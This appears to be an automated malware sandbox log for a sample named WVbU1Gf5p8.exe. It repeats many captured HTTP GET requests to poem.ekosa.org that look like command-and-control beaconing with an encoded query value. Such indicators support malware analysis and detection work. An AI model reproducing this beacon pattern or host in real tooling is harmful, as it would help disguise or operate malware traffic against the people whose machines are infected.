Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

0_2_01231780

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
